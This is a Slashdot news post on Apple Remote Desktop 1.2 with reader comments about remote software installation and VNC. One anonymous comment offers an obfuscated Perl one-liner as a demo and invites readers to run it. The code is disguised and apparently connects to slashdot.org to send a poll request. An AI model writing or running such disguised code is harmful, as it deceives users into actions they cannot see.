Apple Remote Desktop 1.2 Released

sirisaac82 writes "Apple released version 1.2 of its Remote Desktop software. According to the website, new features include Remote Software Installation and Remote Network Startup Disk. Too bad it wasn't released yesterday, or you could have had a few more pranks to pull on those annoying co-workers."

Comments

Re:ecode is your friend

[Anonymous Coward]

If this doesn't prove perl is superior, I don't know what could:

perl -e 's^^odqk -d +trd HOB::Nodm2; nodm2(Sn,Sh,"sdkmds rk`rgcns.nqf 80"); oqhms Sh pp|FDS /onkkAnnsg.ok?phc=920&`hc=4&lncd=mnbnlldms GSSO/1.1[mGnrs: rk`rgcns.nqf[m[m|; oqhms pp|[m[m|." "w10 .pp|Itrs `mnsgdq Odqk G`bjdq![m[m (iddyd, cn xnt itrs qtm `mx bncd xnt rdd, nq vg`s?!)[m[m|; vghkd (<Sn>) z oqhms he l/unsdc.{qdfhrsdqdc./ |+^; $_.=join(q||,qx,${_},) if y&\x40-\x7c\x2b&\x41-\x7d\x27&; print'

(give it a few seconds to run, theres a lot going on here :)

Re:ecode is your friend

[lars]

Well, it certainly obeys the 2nd law of thermodynamics.

Remote Installation

[rsmith-mac]

I think a lot of people will underestimate the importance of Remote Installation, but this feature is critical to using OS X in large environments. At the moment, you can use products such as Filewave to keep software up to date, but this all goes out the window when it comes to system software - MacOS updates, Quicktime, and even security updates. Apple's installer packages run necessary pre and post installation scripts, and up to now, there hasn't been a remote solution for MacOS X to do anything similar, meaning you couldn't remotely do these updates except by using SSH to run CLI programs(which in turn still limits you, as you're still virtually visiting every machine).

With 1.2, it's now possible to remotely run installer packages en-mass, allowing you to push out software updates, and this is huge. While it's not necessarily the best solution for software updates, 1.2 will none the less allow admins to maintain more X machines than before, enabling large-scale deployments. This is crucial for Apple, as one of the things holding X back has been the lack of remote updates, which means they'll finally be able to break X in to the largest organizations.

This may be a .1 update, but the ramifications of it are huge.

Re:RealVNC

[Hanji]

OSXvnc.
Very nice, and easy to use. It's even got (more-or-less) builtin support for launching it from a shell.

CORRECTION: here is the update for OS 9.x clients

[teridon]

It was just not linked from the main page -- one had to search the knowledge base to find it.

Read about it/download it here.